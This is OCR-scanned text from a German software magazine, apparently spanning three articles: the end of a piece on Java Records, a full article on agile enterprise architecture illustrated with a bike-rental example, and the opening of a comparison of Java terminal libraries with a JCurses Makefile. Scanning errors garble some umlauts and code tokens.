Stateless Services und die Lambdaarchitektur wachsen-
der Beliebtheit.

Um das funktionale Paradigma sinnvoll umsetzen zu
konnen, haben die meisten dieser Programmiersprachen
und -konzepte auch immer Konstrukte fir immutable
State. So gibt es etwa in Scala die Case Classes und in
Kotlin die Data Classes. In Java muss man sich bisher
mit Libraries wie Lombok begniigen.

Auch Java hat in den letzten Versionen immer mehr
Features bekommen, die es im Lager der funktionalen
Programmiersprachen schon lange gibt: Lokale Typinfe-
renz (var) und Lambdas stechen dabei besonders hervor.
Was bisher fehlte, war ein Sprachkonstrukt fiir immu-
table State. Dieses steht jetzt mit Java 15 vor der Tur:
Records.

Java Records

ADb Java 14 sind Records als Preview enthalten. Sie stel-
len eine weniger verbose Moglichkeit zur Verfiigung,
Daten zu modellieren. Code sagt mehr als tausend Wor-
te. Die beiden Codebeispiele sind nahezu dquivalent:
einmal in der neuen Record-Syntax (Listing 1) und ein-
mal klassisch mit Klassen (Listing 2).

Records als Value Objects
In der zugehorigen Spezifikation JEP 359 [3] werden
Records folgendermafSen beschrieben: ,,Records can be
considered a nominal form of tuples.“ Records sind also
benannte (und damit typisierte) Tupel. Entsprechend
dieser Spezifikation scheint es zunichst offensichtlich,
dass sie sich gut dazu eignen, Value Objects zu model-
lieren. Das ist auch nicht falsch, aber auch nicht unbe-
dingt immer richtig, bzw. nicht immer ganz so einfach.
Records lassen sich sehr gut als fachliche Wrapper fiir
primitive Datentypen einsetzen. Ein Objekt vom Typ
Customerld hat eine groflere Aussagekraft als eine Kun-
dennummer in Form eines Strings.

Wenn es komplizierter wird, muss man bedenken, dass
Records Daten explizit nach auflen sichtbar machen.
Es gilt also auch das Konzept von Information Hiding

Listing 1

// record syntax
record Record(int a, int b) {
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explizit nicht. Das stimmt zwar nicht zu 100 Prozent,
weil es immer noch eine Indirektion iiber einen Compo-
nent Accessor (quasi einen Getter, allerdings nicht nach
JavaBeans-Konvention) gibt, um auf den inneren State
zuzugreifen, aber kommt der Sache schon sehr nahe.
Die innere Struktur bildet damit die Grundlage fiir das
Public Interface. Entsprechend ist eine komplexe Imple-
mentierung immer komplett von aufSen sichtbar. Ein Pa-
radigma der Objektorientierung, nimlich eben besagtes
Information Hiding, wird dadurch konterkariert. Die
meisten Anwendungsfille wird man trotzdem sehr gut
abbilden konnen, allerdings sind althergebrachte OO-
Modellierungsstrategien eventuell nicht eins zu eins auf
Records anwendbar. So ldsst sich von einem Record
z.B. nicht ableiten. AuSerdem gibt es automatisch den
kanonischen Konstruktor, der alle Felder als Parameter

Listing 2

// class syntax

public final class RecordObject {
finalint a;
finalint b;

public RecordObject(int a, int b) {
this.a =a;
this.b = b;

}

public int a() {
return a;

}

public int b() {
return b;

}

public boolean equals(Object o) {
if (this == o) return true;
if (0 == null || getClass() '= o.getClass()) return false;
RecordObject other = (RecordObject)o;
return a == other.a && b == other.b;

}

@Override
public int hashCode() {
return Objects.hash(a, b);

}

@Override
public String toString() {
return "RecordObject[" +

ny_n

a="+a+
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bekommt. Dadurch ist es nicht moglich, einzelne Para-
meter anderweitig (z. B. durch Berechnung) zu ermitteln
oder etwa im Konstruktor einen String zu parsen, um
den Record zu erstellen. Eine solche Implementierung
ist zwar weiterhin moglich, den kanonischen Konst-
ruktor gibt es aber immer zusatzlich. Auch der Name
der Zugriffsmethoden lasst sich nicht beeinflussen — er
stimmt mit dem Feldnamen tiberein. Records weichen
somit vom JavaBean-Standard ab, weil das get vor dem
Methodennamen fehlt.

Die Felder der Records konnen normale Java-Objekte
sein. Daraus resultiert, dass Records nicht deeply immu-
table sind: Der Zustand der innenliegenden Java-Objek-
te konnte ja weiterhin verdndert werden. Dadurch ist es
dann auch wieder moglich, zirkuldre Objektgraphen zu
erzeugen, die Records enthalten. Das Erstellen der oben
erwihnten unverdnderlichen Baumstrukturen aus der
funktionalen Programmierung wird mit Records also
zwar ermoglicht, aber nicht sichergestellt.

Records und Enterprise Java

Wie passen Records in die Enterprise-Java-Welt? Zu-
nichst einmal sind sie architektonisch eine sinnvolle Er-
ganzung. An einigen Stellen ist es immer sinnvoll, echte
Value Objects (also immutable Objects) zu verwenden.
Das gilt z. B. fiir den Payload eines POST Requests oder
auch fiir ein Data Transfer Object zwischen der Schicht,
die die Fachlogik enthilt, und der Webschicht. Hier er-
leichtern Records einem das Leben erheblich, weil der
oben erwihnte Boilerplate-Code wegfillt. Diese Objek-
te enthalten normalerweise auch keine Dominenlogik,
sodass Records in ihrer einfachsten Form verwendet
werden konnen.

Nattirlich wird es einige Zeit dauern, bis die verschie-
denen Frameworks das neue Java-Feature adaptieren.
Dabei diirfte es einigen leichter fallen als anderen. Die
Serialisierung und Deserialisierung nach JSON tiber den
JSON-B-Standard sind z. B. bereits heute moglich (ge-
testet mit Apache Johnzon [4]). Dabei muss der kano-
nische Konstruktor public sein und mit der Annotation
@JsonbCreator markiert werden. Dariiber wird signali-
siert, dass dieser Konstruktor zur Objekterzeugung ver-
wendet werden soll.

Etwas komplizierter dirfte die Integration mit Bean
Validation werden. Zwar sieht die Spezifikation hier be-
reits die Moglichkeit von Constructor Validation vor,
diese muss in der Praxis aber immer manuell angestofSsen
werden. Integrierende Spezifikationen wie z. B. JAX-RS
verwenden aber nach wie vor Property Validation. Das
wiirde im Fall von Records heifden, dass sie zunichst un-
giiltig erzeugt werden missten, um dann per Bean Vali-
dation validiert zu werden. Fiir die ungiiltige Erzeugung
wiirde aber der kanonische Konstruktor verwendet.
Dieser diirfte dann aber nicht selbst validieren, weil das
zu einem Laufzeitfehler fihren wiirde.

Noch groflere Anderungen stehen der JPA-Spezifika-
tion bevor. Hier sind Value Objects zwar grundsitzlich
schon als @Embeddable vorgesehen. Eine Erzeugung
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iber einen Konstruktor ist aber noch nicht moglich. Das
dahingehende Proposal hat Oliver Drotbohm (damals
Gierke) bereits 2011 bei der JPA Expert Group einge-
reicht. Es wurde allerdings abgelehnt [5]. Bisher ist in
JPA daher nur das direkte Befiillen der Felder eines Ob-
jekts oder das Befiillen tiber Setter-Methoden vorgese-
hen. Beides wire bei Records nicht moglich.

Fazit

Mit Java 15 bekommt Java Records als neues Sprach-
feature, ein Konstrukt, um Value Objects einfacher zu
realisieren. Teilweise kann dieser Typ auch direkt mit
Enterprise-Java-Standards verwendet werden (z.B. bei
JSON-B). Andere Standards wie JPA miissen ihre Spe-
zifikationen noch anpassen, damit er verwendet werden
kann.

Records sind allerdings nicht deeply immutable, d. h.
man kann in einen Record wiederum ein dnderbares Ja-
va-Objekt stecken. Deshalb kann man mit Records nicht
sicherstellen, dass die aus der funktionalen Programmie-
rung als vorteilhaft bekannten unverinderlichen Baum-
strukturen erreicht werden. Allerdings vereinfachen
Records das Erstellen solcher Strukturen.

Software, die sich auf shared mutable State verlisst,
also auf eine geteilte Datenstruktur, die an unterschied-
lichen Stellen des Programmcodes gedndert wird, ist
schwer wartbar. Mit Records wird es leichter, Software
zu schreiben, die weniger davon enthilt, oder, wie es im
JEP beschrieben wird: ,,It should be easy, clear, and con-
cise to declare shallowly-immutable, well-behaved nomi-
nal data aggregates. Es soll mit der Spezifikation einfach,
klar und kurz moglich sein, (zumindest) auf oberster Ebe-
ne unveranderliche, sich wohlverhaltende, benannte (und
damit typsichere) Datenaggregate zu erstellen.

Dieser Vorteil kann bereits jetzt in Enterprise Java z.B.
fir die Konvertierung von und nach JSON oder beim
Einsatz als DTO verwendet werden. Bis Records aber
in allen Jakarta-IEE-Spezifikationen uneingeschriankt
nutzbar sind, wird es erfahrungsgemafs noch eine Weile
dauern. In diesem Sinne: Stay Tuned!

Links & Literatur
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[5] https://download.oracle.com/javaee-archive/jpa-spec.java.net/
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Agiles Enterprise Architecture Management ist maglich

Agile Architektur fur

Unternehmen

Bei Projekten der Unternehmensarchitektur (auch Enterprise Architecture) ist meist die
oberste Ebene des Managements die treibende Kraft. Doch wie ist das mit den Regeln
und Best Practices der agilen Softwareentwicklung vereinbar?

von Dr. Annegret Junker

Die Unternehmensarchitektur im Rahmen der Infor-
mationstechnik (IT) beschreibt das Zusammenspiel
von Elementen der Informationstechnologie und der
geschiftlichen Titigkeit im Unternehmen [1]. Dabei
wird die Rolle der Informationsarchitektur oder Soft-
warearchitektur in Beziehung mit den geschiftlichen
Interessen und Prozessen des Unternehmens gesetzt.
Unternehmensarchitekturinitiativen werden in der
Regel von der obersten Managementebene getrieben.
Insbesondere Qualititsmerkmale wie Effizienz und
Kostenoptimierung spielen hierbei eine Rolle. Dieser
stark kontrollierende Ansatz steht einem agilen Ansatz
mit der Reaktion auf Verianderungen oftmals entgegen.

Im vorliegenden Beitrag werden Ansitze diskutiert,
wie dieser Konflikt aufgelost werden kann. Hierdurch
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werden mogliche Widerspriiche, die sich aus unter-
schiedlichen Perspektiven ergeben, nicht ignoriert,
sondern vielmehr als Motor genutzt, um gute und ver-
lassliche Losungen in unterschiedlichen Kontexten zu

finden.

Definition von Enterprise Architecture Management
Enterprise Architecture ist ein kohdrentes Ganzes von
Prinzipien, Methoden und Modellen, die im Entwurf
und der Implementierung der unternehmensspezifischen
Organisationsstruktur, der Geschiftsprozesse, der In-
formationssysteme und der technischen Infrastruktur
verwendet werden [2]. Wir brauchen Unternehmensar-
chitekturen, um parallel ablaufende Prozesse und Ent-
wicklungen zu synchronisieren, neue Ansitze auf eine
breitere Basis zu stellen und Geschiftsinteressen des Un-
ternehmens in Technik zu tibersetzen.
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Abb. 1: Geschaftsmodell-Canvas fir eine Fahrradausleihe

Rolle von Enterprise Architecture Management im
Unternehmen

In Unternehmen wird die Unternehmensarchitektur oft-
mals als Standardisierungs- und Projektmanagement-
instrument eingesetzt. Die Standardisierung verfolgt
den Ansatz, durch standardisierte Komponenten einen
hohen Wiederverwendungsgrad und damit eine hohe
Effizienz zu erreichen. Oftmals wird zwar ein hoher Wie-
derverwendungsgrad erreicht, nicht aber die erhoffte
Effizienzsteigerung, da notwendige Synchronisierungen
und Abstimmungen, zum Beispiel von Produktivnah-
men und Updates, die Aufwinde nach oben treiben. Die
klassische These ,, Wiederverwendung fiihrt zu hoherer
Effizienz“ steht einem agilen Ansatz a la ,,Was ist fiir
uns das beste Resultat?“ im tidglichen Arbeiten entge-
gen. Man kann nicht einfach neue Ideen ausprobieren,
sondern muss erst die Ubereinstimmung der Idee mit
Regeln und Vorgaben der Unternehmensarchitektur
priifen. Mehr noch wird die Abhingigkeit der benut-
zenden Teams zu dem bereitstellenden Team sehr hoch
und dadurch die Gesamtentwicklungszeit vergroflert.

Agiles Mindset versus Klassik

Das agile Mindset ist von der Idee der Eigenverantwor-
tung und der Ergebnislieferung gepriagt. Das einzelne
Team ist gegeniiber seinen Stakeholdern verantwortlich,
welche Ergebnisse geliefert werden. Die Stakeholder
entscheiden, ob das gelieferte Ergebnis ihren Anforde-
rungen entspricht oder nicht. Die Unternehmensarchi-
tektur ist in der Regel kein direkter Stakeholder. Daher
werden die Implementierungen nicht an den Vorgaben
der Unternehmensarchitektur ausgerichtet, sondern
vielmehr wird sich Schritt fiir Schritt der eigentlichen

Losung genihert. Klassische Ansitze stehen mit agilen
Ansitzen hdufig im Gegensatz, auch wenn sich beide
Seiten gegenseitig erganzen und erweitern:

e Klassische hierarchische Definition von Funktio-
nalititen gegeniiber dem agilen Herantasten an die
Losung

e Klassisches, vorab definiertes Ergebnis gegeniiber
dem lebendigen Produkt der agilen Welt

e Klassische funktionale Organisationsstruktur gegen-
tiber crossfunktionalen Teams

e Klassisch definierte KPIs gegeniiber Messen am Er-
gebnis aus der agilen Welt

Herantasten an die Losung
Businessmodell Canvas und MVP: In einem agilen Pro-
duktentwicklungsmodell kann man mit einem Minimal
Viable Product (MVP) anfangen und dieses MVP Schritt
fiir Schritt funktional erweitern [3]. Da eine Unterneh-
mensarchitektur eher hierarchisch — von der Business-
architektur bis zur Infrastruktur — organisiert ist, lasst
sich dieses Vorgehen kaum anwenden. Man kann aber
auch in der Unternehmensarchitektur vertikal statt hori-
zontal schneiden. Solche funktionalen Schnitte scheinen
am Anfang nahezu unmoglich. Um sie aber leichtge-
wichtig zu ermdglichen, kann man einfache Tabellen
verwenden, die ein Geschiftsmodell-Canvas [4] darstel-
len, und so die Auflistung von Geschiftsobjekten, Part-
nern, Geldfliissen und mehr ermoglichen. Ein solches
Geschiftsmodell-Canvas kann helfen, erste funktionale
Schnitte zu finden.

Stellen wir uns eine Onlinefahrradausleihe vor; Ab-
bildung 1 zeigt dafiir ein Geschiftsmodell-Canvas.
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Abb. 2: Event-Storming-Ergebnis flr die Fahrradausleihe [6]

Mitglieder und gelegentliche Nutzer konnen Fahrrider
an entsprechenden Ausleihpunkten, zum Beispiel am
S-Bahnhof, ausleihen und dort wieder zuriickgeben. Da-
bei muss der Riickgabeort nicht dem Ausleihort entspre-
chen. Ausleihe und Riickgabe erfolgen via App, durch
die das entsprechende Fahrrad freigeschaltet oder wie-
der zuriickgegeben wird. Die Fahrrider werden durch
die ortlichen Gemeinden, durch Hotels und Pensionen,
Reisebiiros oder durch den offentlichen Nahverkehr
vermittelt. Benutzer konnen sich einmalig via App an-
melden oder auch eine Mitgliedschaft abschliefSen. Na-
tiirlich kann das nur im Gesamtkonstrukt funktionieren.
Fillt ein Partner weg, fehlen wesentliche Einnahmen.
Kann die Mitgliedschaft technisch nicht umgesetzt wer-
den, unterliegt der Umsatz zu hohen Schwankungen und
das Geschiftsmodell ist gegentiber Partnern und Banken
nicht mehr darstellbar. Daher versucht man solche Din-
ge horizontal zu schneiden — also erst die Infrastruktur
mit App und Fahrradstindern zu schaffen und dann die
Partner einzubinden. Problematisch hierbei ist, dass die
Kunden erst ganz oben in der Hierarchie zum Tragen
kommen und sie alles, was vorher geschaffen wurde,
nicht unmittelbar nutzen konnen.

Versuchen wir dieses Beispiel funktional zu schneiden.
Wenn wir uns auf eine Kundengruppe, eine Funktion
und einen Partner konzentrieren, konnen wir folgendes
Minimal Viable Product identifizieren: Durch den Part-
ner ,,Nahverkehr“ angeboten, konnen Fahrrader durch
Mitglieder am Bahnhof ausgeliechen werden (in Abb. 1
rot eingekreist).

Diese Konzentration auf einen ersten MVP fiihrt zu ei-
ner wesentlichen Vereinfachung und einem schnelleren
Time to Market. Offensichtlich konnen solche funktio-
nalen Schnitte weder allein durch eine technische Archi-
tektur noch allein durch Anforderungsgeber vollzogen
werden. Es ist eine enge Zusammenarbeit notig, um die
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einzelnen funktionalen Schnitte sowohl hinsichtlich des
geschiftlichen Mehrwerts als auch technischer Komple-
xitdt zu bewerten. Die Unternehmensarchitektur nimmt
die wesentliche Rolle des Mediators und Trainers ein,
um die jeweils passende Losung zu finden.

Prozessmodell mit Event Storming finden: Im nichs-
ten Schritt miissen die zu implementierenden Funk-
tionen gefunden werden, mit denen das obige MVP
realisiert werden kann. Um diese Funktionen zu iden-
tifizieren, kann die Methodik des Event Stormings [5]
angewendet werden.

Ein Beispiel fiir ein Event Storming zeigt Abbildung 2.
Beim Event Storming werden zuerst die Ereignisse ent-
lang des Geschiftsprozesses betrachtet. In einem Work-
shop werden sie durch die Gruppe gesammelt und in
der Reihenfolge sortiert (Abb. 2, die orangefarbenen
Notizen). Werden Unklarheiten oder Risiken erkannt,
werden diese schon hier als rote Notizen erfasst. An-
schlieflend werden in einer weiteren Phase die einzelnen
Events betrachtet und durch Geschiftsentititen, Pro-
zessschritte und Befehle erweitert. Fiir unsere Fahrra-
dausleihe ergeben sich die folgenden Events (orange):

¢ Benutzer identifiziert

e Bahnhof mit ausleihbaren Fahrridern selektiert
e Fahrrad reserviert

e Fahrrad ausgeliehen

Schon im Workshop konnen in einem zweiten Schritt
die Geschiftsobjekte identifiziert werden:

e Fahrrad
e Fahrradstander

Ebenfalls konnen entsprechende Ansichten zugeordnet
werden:
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Ahnlich wie bei einem Scrum-Team, bei dem das Ergebnis
User Story fur User Story entsteht, entstehen in einer Unter-
nehmensarchitektur die Ergebnisse Schritt fur Schritt.

e Liste mit Bahnhofen, an denen Fahrrader ausgeliehen
werden konnen (Ausleihstellen)
e Liste mit ausleihbaren Fahrridern

Schon dieses kleine Beispiel zeigt, dass mit einem sol-
chen leichtgewichtigen Ansatz ein tragfihiges Modell
geschaffen werden kann. Die Konzentration auf eine
Kombination von Funktion, Kundengruppe und Part-
ner erlaubt, ein erstes Modell zu kreieren, das erste Ent-
wiirfe und Implementierungen ermoglicht. Wiederum
nimmt die Unternehmensarchitektur die Rolle des Me-
diators und des Methodentrainers ein.

Informationsarchitektur und Serviceschnitt: Auf der
Basis des Ergebnisses des Event Stormings kann die
Informationsarchitektur mit einer ersten Dialogfolge
entworfen werden. Hierzu kann die Technik der User
Journey [7] benutzt werden. Sie ergibt sich aus dem er-
arbeiteten Ergebnis des Event Stormings:

e Melde dich mit deinem Benutzernamen und Pass-
wort an“

e ,Selektiere aus den angezeigten Bahnhofen einen
Bahnhof aus, an dem du dein Fahrrad ausleihen
mochtest (Bahnhofe sind in der Nihe des Benutzers)“

o Selektiere ein Fahrrad aus den angezeigten Fahr-
radern (Fahrrader entsprechen den Priferenzen des
Benutzers)“

e ,Schalte das Fahrrad frei und steig auf*

Der Serviceschnitt ergibt sich aus den Events:

o Selektion der Ausleihstelle
e Fahrradreservierung
e Fahrradausleihe

Diese Services konnen in unabhingigen Teams im-
plementiert werden. Dieser Serviceschnitt entspricht
einem Domain-driven Design. Zu implementierende
Geschiftsobjekte ergeben sich aus den Sichten und Do-
mainenobjekten: Ausleihstationen, Fahrrader und Stell-
platze. Unternehmensarchitektur nimmt wiederum die
Rolle des Mediators und Wissensvermittlers ein. Aber
auch eine kontrollierende, mahnende Rolle muss ein-
genommen werden: Unternehmensarchitektur muss
auf die Einhaltung der MVP-Idee achten, um wirklich
schnell zu dem anvisierten, einfachen Ergebnis zu kom-
men. Anhand des Beispiels wird klar, dass in der Un-
ternehmensarchitektur agile Arbeitsweisen angewandt
werden konnen. Insbesondere bei der Begleitung von
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Entwicklungsprojekten steht Unternehmensarchitektur
als gesuchter Mediator und Ansprechpartner zur Ver-
fiigung.

Lebendiges Ergebnis

Natiirlich muss beobachtet werden, wie das bisher Er-
reichte weiter ausgebaut werden kann. Ahnlich wie bei
einem Scrum-Team, bei dem das Ergebnis User Story fiir
User Story entsteht, entstehen in einer Architektur und
damit in der Unternehmensarchitektur die Ergebnisse
Schritt fiir Schritt.

Man kann, wiederum vom Canvas ausgehend, eine
neue Kombination aus Partner, Funktion und Zielgrup-
pe auswihlen, oder die schon vorhandene Funktion
fiir einen neuen Partner oder eine neue Zielgruppe zur
Verfligung stellen. Was man in der Folge macht, hingt
stark von den Ergebnissen und Erkenntnissen des ersten
Durchlaufs ab. Nicht zuletzt muss das Canvas, das am
Anfang erstellt wurde, immer wieder tiberpriift und an-
gepasst werden.

Crossfunktionale Teams
Als Mediator und Methodenexperten miissen Unter-
nehmensarchitekten in den crossfunktionalen Teams
zur Verfiigung stehen. Dies kann sowohl durch die di-
rekte Mitarbeit innerhalb der Teams geschehen als auch
durch punktuelle Beratung fiir die Entwicklungsteams
aus einem Pool von Architekten heraus. Eine Hierarchie
von Architekten mit Systemarchitekten, Losungsarchi-
tekten und Unternehmensarchitekten, wie sie beispiels-
weise durch SAFe [8] impliziert wird, muss unbedingt
vermieden werden. Auch wenn Architekten natiirlich in
ihrer tiglichen Arbeit bestimmte Bereiche der Architek-
turarbeit bevorzugen, stehen Unternehmensarchitekten
keinesfalls iber Losungs- oder Systemarchitekten.
Allerdings muss Architekturarbeit crossfunktional
organisiert sein, um erfolgreich zu sein. So sollten sich
Architekten in ibergreifenden Gremien wie Gilden
oder Praxisgemeinschaften (,,Community of Practice®)
organisieren, um Softwarearchitekturen und System-
schnitte mit System- oder Infrastrukturarchitekten zu
synchronisieren. Hierbei konnen Vorgaben, die durch
die Unternehmensarchitektur verwaltet werden, helfen,
Entscheidungen zu treffen und zu bewerten.

Messen am Ergebnis

Durch die Implementierung eines MVPs kénnen die er-
reichten Ergebnisse unmittelbar mit Kunden und Stake-
holdern bewertet werden. Diese Ergebnisse messen sich
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an der Akzeptanz und der Zufriedenheit der Kunden.
Natiirlich kann man fiir die Akzeptanz und Zufrieden-
heit Key Performance Indicators (KPIs) vereinbaren und
das erreichte Ergebnis daran messen. Allerdings sind
dies nicht einfach ,,blinde“ Vorgaben, sondern vielmehr
Vereinbarungen mit den Kunden und Stakeholdern,
die regelmifSig angepasst werden. Mehr noch, die KPIs
miissen durch Kunden und Stakeholder nachvollziehbar
sein. Das heifit, ein KPI wie Fehler pro Codezeile ergibt
fiir einen Kunden oder Stakeholder keinen Sinn. Viel-
mehr ergeben KPIs Sinn, die sich an der Akzeptanz — in
unserem Beispiel vielleicht die Anzahl der Vermietungen
pro Tag — messen und nicht unmittelbar den Entwick-
lungsprozess bemessen.

Governance

Enterprise Architecture Governance ist eine Methode,
die die fundamentalen Aspekte des Managements um-
fasst. Es schliefst eine stabile Fihrung, ein umfassendes
Verstindnis der Organisationsstruktur, eine iiberzeugte
Richtung und das Ermoglichen von effektiven IT-Pro-
zessen zur Unterstiitzung der Unternehmensstrategie
ein [9].

Governance wird benétigt, um Erreichtes anderen
Abteilungen, Produktentwicklungen oder Projekten
zuginglich zu machen. Urspriinglich steht Governance
fiir ,,Rule and Control* (herrschen und kontrollieren).
Das widerspricht im erheblichen Maf jeglichem agilen
Ansatz. Governance mit dem ,,Durchsetzen einer Idee*
zu iibersetzen, kommt dem schon niher und trifft es
doch nicht ganz. Unternehmensarchitektur muss den
Anwendern Ideen ,,verkaufen®, nicht einfach durchset-
zen. Umgesetzte und erfolgreiche Ideen sind immer auch
fiir andere interessant. Warum also nicht unternehmens-
weit diese Ideen vorstellen und als Losungs-Repository
zur Verfiigung stellen? Das heifst aber nicht, dass jedes
Projekt und jede Entwicklung sich automatisch aus
diesem Pool bedienen miissen. Vielmehr ist es Aufgabe
der Unternehmensarchitektur, Vor- und Nachteile von
Losungsalternativen so darzustellen, dass Projekte und
Entwicklungen eine wirkliche Wahl haben — ,,selbstma-
chen® oder die vorgestellte Losung verwenden. Um die
Idee im Unternehmen interessant zu machen, muss sie
Losungen bieten, die sich leicht umsetzen lassen und
der jeweiligen Problemstellung entsprechen. Aber die
Antwort auf genau diese Fragen ldsst sich nur innerhalb
der Entwicklungsteams finden und nicht durch eine wie
auch immer steuernde Unternehmensarchitektur. Un-
ternehmensarchitektur ist Partner und Trainer — nicht
Controller.

Zusammenfassung

Unternehmensarchitektur ldsst sich agil auspragen,
wenn die agilen Grundsitze Grundlage des Handelns
sind. Moderne Methoden wie Geschiftsmodell-Canvas,
MVPs oder Event Storming machen funktionale Schnit-
te in strategischen, unternehmensweiten Projekten
und Produktentwicklungen moglich. Diese Methoden
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werden sowohl in Projekten als auch in der Unterneh-
mensarchitektur direkt eingesetzt. Dabei treten Unter-
nehmensarchitekten als Wissenstrager und Berater oder
auch als Methodentrainer auf.

Vorhandene Losungen werden durch Unterneh-
mensarchitekten im Unternehmen verbreitet und
fiir Entwicklungsgruppen anwendbar gemacht. Eine
kontrollierende Governance dndert sich zu Beratung
und Training. Durch die Anwendung von agilen und
leichtgewichtigen Methoden lasst sich Unternehmens-
architektur im Unternehmen agil leben und somit die
Akzeptanz der Unternehmensarchitektur erhohen, um
insgesamt im Unternehmen erfolgreich zu sein.
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Automotive, Versicherungen und Finanzdienstleistungen. Beson-
ders interessiert sie sich fiir DDD, Microservices und alles, was da-
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als libergreifende Architektin.
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Java-Bibliotheken fur die Konsole

Gegenuberstellung von JCurses, CHARVA und Lanterna

Terminalbibliotheken
im Vergleich

Mochte man eine Konsolenanwendung entwickeln, gibt es unter Java gleich mehrere
Bibliotheken. Zu den bekanntesten zahlen JCurses, CHARVA und Lanterna. Allen ist
gemeinsam, dass die textbasierten grafischen Oberflachen mit Java Swing bezie-

hungsweise Java AWT realisiert werden. Doch welche Gemeinsamkeiten oder Unter-

schiede weisen diese Bibliotheken sonst noch auf?

von Anzela Minosi

Es gibt Anwendungen, bei denen pixelbasierte grafische
Oberflichen weder realisierbar noch angemessen sind.
Beispielsweise trifft das auf einen Raspberry Pi mit ei-
nem 3,2 Zoll grofen Bildschirm zu. Oder es wird eine
Admin-Schnittstelle fiir einen Remote-Server oder eine
Firewall gebraucht, wobei nicht genug Bandbreite fiir X-
Windows oder das VNC-Protokoll zur Verfiigung steht.
In solchen Fallen ist das Entwickeln einer textbasierten
grafischen Oberfliche, auch TUI genannt, sinnvoll. Alle
drei bekannten Terminalbibliotheken, die fiir die Java-
Programmiersprache geeignet sind, konnen das. Doch
sind die Unterschiede beziehungsweise deren Anwen-
dungsgebiete nicht auf Anhieb erkennbar. In diesem
Artikel werden deshalb alle drei Terminalbibliotheken
vorgestellt und die Vor- und Nachteile hervorgehoben.

Listing 1

# Generated automatically from Makefile.in by configure.

CURSES=-Incurses

JAVAHOME=/usr

JAVAC=$(JAVAHOME)/bin/javac

JAR=$(JAVAHOME) /bin/jar

JAVAH=S(JAVAHOME) /bin/javah

JAVA=S(JAVAHOME) /bin/java

JAVADOC=$(JAVAHOME) /bin javadoc

GCC=gcc

GCCFLAGS=-Wall -shared -I$(JAVAHOME)/include -I$(JAVAHOME) /include/
zzip -I$(JAVAHOME) /include -I$(JAVAHOME)/include/linux -fPIC

CLASSPATH=. /classes

JCurses
JCurses [1] ist eine Terminalbibliothek, die vom Code
her auf dem grafischen Toolkit Java AWT basiert. Die
aktuelle Version ist 0.95b. Sobald man sich den Quell-
code herunterlddt und die Quelldateien im Quellver-
zeichnis jcurses/src/ durchstobert, fillt allerdings auf,
dass 2002 letztmaligVeranderungen am Quellcode vor-
genommen wurden. Nichtsdestotrotz ldsst sich JCurses
mit etwas Aufwand sogar auf dem Raspberry Pi zum
Laufen bringen. Fertig kompilierte Versionen existieren
sowohl fiir 32 Bit/64 Bit Linux als auch fiur Windows.
Wer jedoch die Quelldateien kompilieren mochte, der
ladt zunichst den Quellcode herunter und editiert im
Ordner jcurses die Makefile. Bei der Installation ist es
erforderlich, lediglich die Zeile bei GCCFLAGS anzu-
passen, indem die Include-Ordner der Java-Entwick-
lungsumgebung angegeben werden. Auflerdem sollte

default: jar native docs
java: ;$(JAVAC) -classpath $(CLASSPATH) -d ./classes 'find ./src/jcurses
-name *java'
docs: ;$(JAVADOC) -classpath $(CLASSPATH) -sourcepath ./src -d :
./doc jeurses.event jcurses.system jcurses.util jcurses.widgets
native: java include :
include: java;$(JAVAH) -classpath $(CLASSPATH) -d ./src/native/include
jeurses.system.Toolkit
clean: ;rm -rf . /classes/jcurses ./lib/libjcurses.so ./lib/jcurses.jar ./src/
native/include/*.h
native:java include;$(GCC) $(GCCFLAGS) -o Lib/libjcurses.so $(CURSES) src/
native/Toolkit.c :
jar: java;ed classes/ && $(JAR) -cvf ../lib/jeurses.jar * :
test: ;$(JAVA) -classpath ./lib/jcurses.jar -Djcurses.protocol. :
filename=jcurses.log jcurses.tests.Test
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diese Zeile noch um das Flag -fPIC ergianzt werden. Mit
dieser Makefile konnt ihr JCurses sogar auf dem Raspi
benutzen (Listing 1). Die eigentliche Installation sieht
wie folgt aus:

$ ./configure
$ make all

Die fertig kompilierten Libraries jcurses.jar und libcur-
ses.so landen anschlieffend im Unterordner jcurses/lib.

Ein Tutorial fiir JCurses sucht man vergebens. Dabei
kommt man um die generierte JavaDoc-Dokumentati-
on nicht herum, die sich unter jcurses/doc/index.himl
befindet. Zusitzlich existieren Tests, die in jcurses/src/
jeurses/tests abgelegt sind. Den Testdateien konnt ihr
entnehmen, wie JCurses benutzt wird. Der Einsatz von
JCurses ist am Anfang ohne Hilfe erst einmal gewoh-
nungsbediirftig. In unserem Beispiel wird ein Anmel-
defenster ausgegeben, wobei der Code mit Hilfe des
MVC-Patterns erstellt worden ist. In Listing 2 wird
die Anwendung gestartet, indem die View aufgerufen
wird.

Um ein Fenster auf der Konsole auszugeben, braucht
ihr mindestens die Schnittstelle WidgetsConstants.
Wichtig ist zudem, die show-Methode der Window-
Klasse aufzurufen, damit das Fenster gezeichnet wird
(Listing 3).

Wenn sich das Programm erfolgreich kompilieren
lasst, sieht das Fenster wie in Abbildung 1 aus. In unse-
rem Test funktionierte die Riickstelltaste nicht, sodass
sich Zeichen nicht 16schen lieflen. Stattdessen wurden
die Escape-Zeichen der Riickstelltaste im Eingabefeld
eingeblendet.

JCurses bietet zudem die Klasse Message an, mit der
sich Benachrichtigungen ausgeben lassen (Abb. 2).

Listing 4 konnt ihr entnehmen, wie sich mit der set-
Message-Methode Benachrichtigungen erzeugen lassen.
Auflerdem zeigt Listing 4 den Controller der zugehori-
gen View. Er implementiert in unserem Fall neben dem
WindowListener auch den ActionListener. Der Win-
dowListener sorgt dafiir, dass das Fenster geschlossen
wird, sobald die Escape-Taste gedriickt wird. Da die
Listener bei JCurses Java-Schnittstellen sind, kann der
Controller gleich mehrere Listener implementieren. Das
Handling des OK-Buttons wird wie in Listing 4 durch
die actionPerformed-Methode vorgenommen. Sie priift
zunichst, welcher Button gedriickt wurde und ruft beim
OK-Button die checklnput-Methode auf, die die Benut-
zerdaten validiert.

Wichtig ist, dass ihr eine neue Instanz des Controllers
in der View erstellt. Dann verkniipft ihr die addListener-
Methoden mit dem Controller, um die einzelnen Liste-
ner beim jeweiligen GUI-Element zu registrieren.

Um die Anwendung zu beenden, kann man sich der
hide-Methode bedienen. Sie ist Teil der Window-Klasse.
In unserem Beispiel wird sie in der checkInput-Methode
in Listing 4 aufgerufen. Dartiber hinaus stellt die But-
ton-Klasse die Methode handleInput zur Verfigung, die
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Abb. 1: Anmeldefenster mit der JCurses-
Bibliothek erstellt
chen Log-in

es ermoglicht, dass das Driicken von Tasten ein Ereignis
auslost. Neben Buttons existieren bei JCurses weitere
GUI-Elemente: Pop-up-Fenster, Checkboxen, Dialog-
